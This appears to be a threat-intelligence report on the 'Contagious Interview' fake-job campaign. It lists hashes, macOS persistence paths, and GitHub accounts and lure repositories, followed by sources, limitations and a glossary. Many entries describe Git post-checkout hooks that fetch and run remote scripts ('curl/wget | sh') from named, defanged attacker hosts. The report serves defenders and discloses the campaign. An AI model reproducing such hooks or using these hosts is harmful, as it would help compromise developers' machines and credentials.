| sha256 | 5a02afd952537b3606ea61d72aba79142e54b50c4f5820fe999113735f1462c2 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 44fe754a01619e7a354028126a1e339c5995f7ca7a8c7b9fe4975cd966c785e0 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | f7c282b1a5d61be5a58c7cd6810d75484fd10a9ab3a5b620cc6697546f1a4f30 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 62c553d63c0052a61136abcfd4191c56bfb3d25b49dc5c60dc27f786ad59f3a0 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | da8d7a294c004ee2ac8ef63a2b561eb1dfdea4315fc0c7babc76562bd8eff28f | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 0a9224c015b2b468dad36d14a71278c8341d6427d2df32697854030b22925c26 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 9656b2ad9e5cb0c79549364ee844cae8c8718a2d367230b626eac0739c8ac1a5 | Payload present on 26 October 2026 Confidence: Confirmed malicious | |||
| sha256 | ee6385a11564379f60e44ee894a87c0ac18f8cc3275cbd2662ca5bac04bebe9c | Build B3-cdp-la, pushed 27 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 00bcbf043597e5ec1644cd70e4a7a38b26f5d13560574da33fb4a278f1642523 | Build B3-cdp-la, pushed 27 October 2026 Confidence: Confirmed malicious | |||
| sha256 | a7e7a516bbd89d404a882417ae22b7f3ec813a825350b8f73b03dcf77247d238 | Build B3-cdp-la, pushed 27 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 2810a97bf8ae3c4d662c1d630d694a1e5b9a204a77fb6a9a755d0651058e1928 | Build B3-cdp-la, pushed 27 October 2026 Confidence: Confirmed malicious | |||
| sha256 | 0cbc71edd549bcca2dc67ac3a462f6fcfeb7f0205935b0eadbcdeeeba6212415 | Build B3-cdp-la, pushed 27 October 2026 Confidence: Confirmed malicious |
- Host indicators (macOS):
~/Library/LaunchAgents/com.user.chrome.cdp.plist(labelcom.user.chrome.cdp),/tmp/chrome-cdp.stdout.log,/tmp/chrome-cdp.stderr.log.
| Type | Value | Context | Copy | |
|---|---|---|---|---|
| other | 0xLabs58 | GitHub user created 2026-03-12, live on 2 November 2026. Pushes the same template files as Best-City-V1, minutes apart Confidence: Confirmed malicious | ||
| other | Best-City-V1 | GitHub organization created 2025-10-29, live on 2 November 2026. Owns lure repositories with the loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/BestCity | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/Best-City | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/Property-Rental | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/new-bestcity | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/latest-bestcity | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/new-wdb | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/royalcity-git | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/new-royal | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/new-royal-2 | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | Best-City-V1/don-t-remove-drei-roayl | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| other | EstateX | GitHub organization created 2025-06-18, live on 2 November 2026. Organization whose repositories were created by AssessPoint-Dex and CristhianMar7 (2025) Confidence: Confirmed malicious | ||
| other | Hiring-Test-Backend | GitHub organization created 2026-10-07, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Backend/Backend-Test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| other | Hiring-Test-Frontend | GitHub organization created 2026-10-07, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Frontend/Test-Frontend | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| other | Hiring-Test-Project | GitHub organization created 2026-10-11, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/CPP | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/Go | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/JavaScript | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/csharp | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/haskell | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/java | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/kotlin | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/move | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/python | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/ruby | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/rust | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/solidity | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Project/swift | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| other | Hiring-Test-Solidity | GitHub organization created 2026-10-07, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | Hiring-Test-Solidity/Test-Blockchain | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com Confidence: Confirmed malicious | ||
| other | KlassiToken | GitHub organization created 2025-06-06, live on 2 November 2026. Owns lure repositories with the loader Confidence: Confirmed malicious | ||
| repository | KlassiToken/assessment | actor-owned lure repo with errorHandler/runtimeConfig loader → bs-production[.]up[.]railway[.]app/svg Confidence: Confirmed malicious | ||
| other | KristinaVokov | GitHub user created 2026-10-02, live on 2 November 2026. Throwaway with push access to the catchgold repositories Confidence: Confirmed malicious | ||
| other | LootrushOrg | GitHub organization created 2026-10-23, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | LootrushOrg/golang-coding-test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrush[.]sbs Confidence: Confirmed malicious | ||
| other | Meta-Real-Estate | GitHub organization created 2025-07-07, live on 2 November 2026. Organization whose single repository carried the 2025 loader Confidence: Confirmed malicious | ||
| repository | Meta-Real-Estate/Meta-Real-Estate | Lure repository whose 2025 loader used the stager api-server-mocha[.]vercel[.]app Confidence: Confirmed malicious | ||
| other | Qevoratrix-live-test | GitHub organization created 2026-10-23, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | Qevoratrix-live-test/go | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| repository | Qevoratrix-live-test/java | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| repository | Qevoratrix-live-test/node | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| repository | Qevoratrix-live-test/react | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| repository | Qevoratrix-live-test/rust | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| repository | Qevoratrix-live-test/solidity | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| other | Vercel-ip22 | GitHub user created 2026-10-01, live on 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | Vercel-ip22/gitcheck | server source Confidence: Confirmed malicious | ||
| repository | Vercel-ip22/ip-check123 | server source Confidence: Confirmed malicious | ||
| repository | Vercel-ip22/project-zip | archive (13 ZIPs with .git/hooks/post-checkout) Confidence: Confirmed malicious | ||
| other | Veylora-org | GitHub organization created 2026-09-06, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | Veylora-org/Go | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → dmitify[.]xyz Confidence: Confirmed malicious | ||
| other | assesspoint-dex | GitHub account, removed by 2 November 2026. Created repositories in EstateX and its own assessment, property-rental-mvp and DEX repositories (May–June 2025) Confidence: Confirmed malicious | ||
| other | auron-lab | GitHub organization created 2026-10-03, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | auron-lab/collateral-java-test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz Confidence: Confirmed malicious | ||
| repository | auron-lab/collateral-nextjs-test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz Confidence: Confirmed malicious | ||
| repository | auron-lab/collateral-node-test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz Confidence: Confirmed malicious | ||
| repository | auron-lab/collateral-rust-test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz Confidence: Confirmed malicious | ||
| repository | auron-lab/collateral-solidity-test | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz Confidence: Confirmed malicious | ||
| other | bezverhnaana519-droid | GitHub user created 2026-10-08, live on 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | bezverhnaana519-droid/gitcheckout | server source Confidence: Confirmed malicious | ||
| other | bitangels-capital | GitHub organization created 2026-10-23, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | bitangels-capital/auron | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → git-node-update[.]online Confidence: Confirmed malicious | ||
| other | bitangels-lab | GitHub organization created 2026-09-07, live on 2 November 2026. Organization owning auron, whose .github/githooks/post-checkout runs a remote script Confidence: Confirmed malicious | ||
| repository | bitangels-lab/auron | Lure repository: .github/githooks/post-checkout fetches a script from githooks[.]xyz (runs only if the user sets core.hooksPath to that folder) Confidence: Confirmed malicious | ||
| other | bitangels-tech | GitHub organization created 2026-09-10, live on 2 November 2026. Organization owning a copy of auron with the same post-checkout hook Confidence: Confirmed malicious | ||
| repository | bitangels-tech/auron | Lure repository: .github/githooks/post-checkout fetches a script from githooks[.]xyz (runs only if the user sets core.hooksPath to that folder) Confidence: Confirmed malicious | ||
| other | brianfoster45 | GitHub user created 2026-09-10, live on 2 November 2026. Made all 35 pushes to the bitangels-tech lure repository Confidence: Confirmed malicious | ||
| other | catchgold | GitHub organization created 2026-10-02, live on 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | catchgold/ip-check | server source Confidence: Confirmed malicious | ||
| repository | catchgold/catchgold | server source Confidence: Confirmed malicious | ||
| other | codehome0301 | GitHub user created 2024-08-07, live on 2 November 2026. Owns lure repositories with the loader Confidence: Confirmed malicious | ||
| repository | codehome0301/Property-Rental | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | codehome0301/Rental-Platform | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | codehome0301/WDB | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | codehome0301/Ultra-DEX | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | codehome0301/royalcity-vscode | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| repository | codehome0301/royal-VS-new | actor-owned lure repo with errorHandler/runtimeConfig loader Confidence: Confirmed malicious | ||
| other | cristhianmar7 | GitHub account, removed by 2 November 2026. Created or pushed repositories inside EstateX Confidence: Confirmed malicious | ||
| other | cristhianmar7014 | GitHub account, removed by 2 November 2026. Later login of CristhianMar7 (same account id); created repositories in Morpheus-Tech-Org (Jul–Sep 2025) Confidence: Confirmed malicious | ||
| other | denetwork654 | GitHub user created 2026-04-19, live on 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | denetwork654/precommit-chk | server source Confidence: Confirmed malicious | ||
| other | dredsoft | GitHub account, removed by 2 November 2026. Created KlassiToken/assessment; its commit identity is the one in the lure template Confidence: Confirmed malicious | ||
| other | dredsoft-saros | GitHub account, removed by 2 November 2026. Organization where dredsoft created the eCommerce and e-Commerce repositories (2025) Confidence: Confirmed malicious | ||
| other | ferexmoto | GitHub account, removed by 2 November 2026. Owner of the felina repositories Confidence: Confirmed malicious | ||
| other | haoga9764 | GitHub account, removed by 2 November 2026. Earlier login of AssessPoint-Dex (same account id) Confidence: Confirmed malicious | ||
| other | heldnav | GitHub organization created 2026-10-24, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | heldnav/heldnav | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → git-node-update[.]online (hook no longer at HEAD on 30 October 2026) Confidence: Confirmed malicious | ||
| other | l-live-coding-test | GitHub organization created 2026-10-11, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/cpp | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/csharp | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/go | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/java | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/node | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/python | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/react | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/ruby | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/rust | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| repository | l-live-coding-test/solidity | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz Confidence: Confirmed malicious | ||
| other | ldkowmcs | GitHub user created 2026-10-02, live on 2 November 2026. Owns the gitcheckout and ip-checkout server-source repositories; added as collaborator to yorrowrisponhaxqz/drivegoogleupdate on 9 October 2026 Confidence: Confirmed malicious | ||
| repository | ldkowmcs/gitcheckout | server source Confidence: Confirmed malicious | ||
| repository | ldkowmcs/ip-checkout | server source Confidence: Confirmed malicious | ||
| other | lootrushs-live-coding-test | GitHub organization created 2026-10-11, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/cpp | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/csharp | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/go | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/java | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/node | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/python | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/react | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/ruby | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/rust | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| repository | lootrushs-live-coding-test/solidity | lure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip Confidence: Confirmed malicious | ||
| other | luckystar483 | GitHub account, removed by 2 November 2026. Committed to staging-server repositories; listed by earlier public research as a lure committer Confidence: Confirmed malicious | ||
| other | morpheus-tech-org | GitHub account, removed by 2 November 2026. Organization where cristhianmar7014 created repositories (later renamed MorpheusDX-Network) Confidence: Confirmed malicious | ||
| other | morpheusdx-network | GitHub account, removed by 2 November 2026. Later name of Morpheus-Tech-Org (same account id) Confidence: Confirmed malicious | ||
| other | parallel-labs071 | GitHub account, removed by 2 November 2026. Recruiter persona; job ads point to a hook host Confidence: Confirmed malicious | ||
| other | rich-diamond2026 | GitHub organization created 2026-09-03, live on 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | rich-diamond2026/gitcheckout | server source Confidence: Confirmed malicious | ||
| repository | rich-diamond2026/diamond | server source Confidence: Confirmed malicious | ||
| other | ronniedevworks | GitHub account, removed by 2 November 2026. Pushed the source of the locate-my-ip payload server Confidence: Confirmed malicious | ||
| other | siclevitaris | GitHub user created 2026-04-29, live on 2 November 2026. Pushed the stager to siclevitaris/gitcheckout and the checkmyip payload-server source to siclevitaris/checkmyip (both gone) Confidence: Confirmed malicious | ||
| other | smartdefiwork | GitHub user created 2026-09-07, live on 2 November 2026. Made all 45 pushes to the bitangels-lab repositories Confidence: Confirmed malicious | ||
| other | stepanenkodiana908-web | GitHub user created 2026-09-03, live on 2 November 2026. Throwaway with push access to the rich-diamond2026 repositories Confidence: Confirmed malicious | ||
| other | vercelfor | GitHub user created 2026-04-29, live on 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | vercelfor/gitcheck | server source Confidence: Confirmed malicious | ||
| repository | vercelfor/vercel-ip | server source Confidence: Confirmed malicious | ||
| repository | vercelfor/vercel-ip-test | server source Confidence: Confirmed malicious | ||
| other | web3madisoncarter | GitHub user created 2026-08-06, live on 2 November 2026. Owns stager and payload-server source; posted nine job ads Confidence: Confirmed malicious | ||
| repository | web3madisoncarter/gitcheckout-hook | staging-server source Confidence: Confirmed malicious | ||
| repository | web3madisoncarter/geoinfo | payload-server source Confidence: Confirmed malicious | ||
| other | yorrowrisponhaxqz | GitHub account, removed by 2 November 2026. Owns staging or payload server source Confidence: Confirmed malicious | ||
| repository | yorrowrisponhaxqz/drivegoogleupdate | server source Confidence: Confirmed malicious | ||
| repository | yorrowrisponhaxqz/middleware-server | server source Confidence: Confirmed malicious |
What was already public
#Expand technical detail · complete record
Sources were read on or before 30 October 2026. Each one also links to its Internet Archive record, which lists the captures that exist, in case the original moves or changes.
The findings build on substantial earlier work. Numbers in brackets in the text refer to this list.
- Palo Alto Unit 42, "Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors" (2023-11-21) — first public description of Contagious Interview. https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/ (Internet Archive lookup)
- Cisco Talos, "BeaverTail and OtterCookie evolve with a new Javascript module" (2025-10-16). https://blog.talosintelligence.com/beavertail-and-ottercookie/ (Internet Archive lookup)
- OpenSourceMalware, "DPRK Contagious Interview Malware Weaponizes Microsoft VSCode Tasks" (2025-11-29). https://opensourcemalware.com/blog/contagious-interview-vscode (Internet Archive lookup)
- SEAL Intel, "VS Code Tasks Abuse by Contagious Interview (DPRK)" (2026-01-13). https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/ (Internet Archive lookup)
- Abstract Security, "Contagious Interview: Tracking the VS Code Tasks Infection Vector" (2026-01-20). https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector (Internet Archive lookup)
- GitLab Threat Intelligence, "GitLab Threat Intelligence Team reveals North Korean tradecraft"
(2026-02-19) — the
.env+Function.constructorloader pattern. https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/ (Internet Archive lookup) - Microsoft Threat Intelligence, "Contagious Interview: Malware delivered through fake developer job interviews" (2026-03-11). https://microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews (Internet Archive lookup)
- SANS Internet Storm Center, "Cross-Platform NPM Stealer" (diary 33006, 2026-05-22) — the 8085/8086/8087 port pattern. https://isc.sans.edu/diary/33006 (Internet Archive lookup)
- Elastic Security Labs, "New North Korean campaign uses fake coding interviews to steal developer credentials" (2026-07-18). https://www.elastic.co/security-labs/contagious-interview-malware-svg-steganography (Internet Archive lookup)
- Atlassian Trust & Security, "From fake interviews to malicious repositories: Disrupting Contagious Interview" (2026-09-21). https://www.atlassian.com/blog/how-we-build/disrupting-contagious-interview (Internet Archive lookup)
- bryanchriswhite/dev-trap-dossiers (GitHub), incident write-ups including Git-hook archives (2026-08).
- OSV advisory
MAL-2026-2896(npm packagechai-as-stream, 2026-04-15), and a researcher's public notes on the BitAngels recruiter lure (2026-04-10).
Reports consulted only through secondary references, because the originals could not be accessed:
SlowMist (July 2026, which matches C2 172.86.126[.]76); Walmart, "Mapping OtterCookie
Infrastructure"; and BlueVoyant on Shifty Corsair.
Limitations
#This is a passive and primarily static investigation. I did not access any suspected server, C2, operator panel or victim data, and I did not execute the payloads. Consequently, current liveness, server responses, delivery to a particular candidate and actual compromise are unknown. Platform search, public archives and threat-intelligence sources have coverage gaps.
Investigation context
#This article is part of the GitHub threat investigation. Counts are a snapshot, not evidence that the code ran on a victim's machine. The shared methodology and proof rules explain inclusion, exclusions and the independent re-check.
Claims, evidence and limits
| Claim | Assessment | Evidence | Limit |
|---|---|---|---|
| The operators keep their server code on public GitHub | Confidence: Confirmed malicious | E-CI-SERVER | Not stated in the finding |
| One account joins the job ads, the hook lures and the server code | Confidence: Confirmed malicious | E-CI-RECRUIT, E-CI-SERVER | Not stated in the finding |
| A new build adds macOS persistence | Confidence: Confirmed malicious | E-CI-PAYLOAD | Not stated in the finding |
| Consistent with the publicly reported Contagious Interview activity | not stated Provenance: Previously documented | — | Not stated in the finding |
Terms used on this page
- pinned commit
- A specific commit, identified by its hash, at which a repository was read. Every counted repository was proven at the default-branch commit recorded in the proof pass, so a later change to the repository does not change what was proven.
- default branch
- The branch a repository shows by default. Counts are taken on default branches only; infected non-default branches were recorded separately and are not counted.
- staging server
- In Contagious Interview, an Express server that answers platform-specific setup requests with a script that downloads and starts a Node.js program; requests that look like a browser or Postman get a harmless decoy. A separate payload server returns the obfuscated JavaScript stealer.
- proof pass
- The 30–31 October 2026 re-read of every candidate at a pinned commit under fixed inclusion rules, followed by an independent re-read of a random sample of 555 repositories through a different API.
- folder-open task
- A VS Code task in .vscode/tasks.json with "runOn": "folderOpen", which runs when the folder is opened in a trusted workspace.
- defanged
- Written so it cannot be clicked or resolved as written, for example example[.]com or hxxps://. Every network indicator on this site is defanged.
All terms: glossary.
Corrections & discussion
Found an error, or have evidence that supports or contradicts a finding? Send a correction. Name the section and what you observed.